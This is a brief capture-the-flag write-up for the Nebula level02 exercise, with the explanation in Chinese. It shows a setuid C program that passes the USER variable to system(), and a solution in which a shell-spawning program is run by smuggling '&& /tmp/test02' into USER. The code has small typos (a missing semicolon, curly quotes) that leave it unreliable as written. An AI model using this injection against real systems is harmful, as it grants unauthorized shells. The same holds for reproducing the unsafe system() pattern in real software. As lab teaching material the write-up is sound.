Nebula level02

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?

To do this level, log in as the level02 account with the password level02 . Files for this level can be found in /home/flag02.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
	char *buffer;

	gid_t gid;
	uid_t uid;

	gid = getegid();
	uid = geteuid();

	setresgid(gid, gid, gid);
	setresuid(uid, uid, uid);

	buffer = NULL;

	asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
	printf("about to call system(\"%s\")\n", buffer);

	system(buffer);
}

这个题目其实很简单，突破点就在于getenv("USER")

我们可以通过上一节的代码：

#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main()
{
      setuid(0);
      setgid(0);
      execl("/bin/sh","sh",(char *)0)
      return 0;
}

生成的可执行文件来完成这个练习。

export  USER=“level02 &&  /tmp/test02”

这样运行可执行程序的时候就会返回一个flag02的shell，在上面运行getflag就可以打印出成功获取了权限。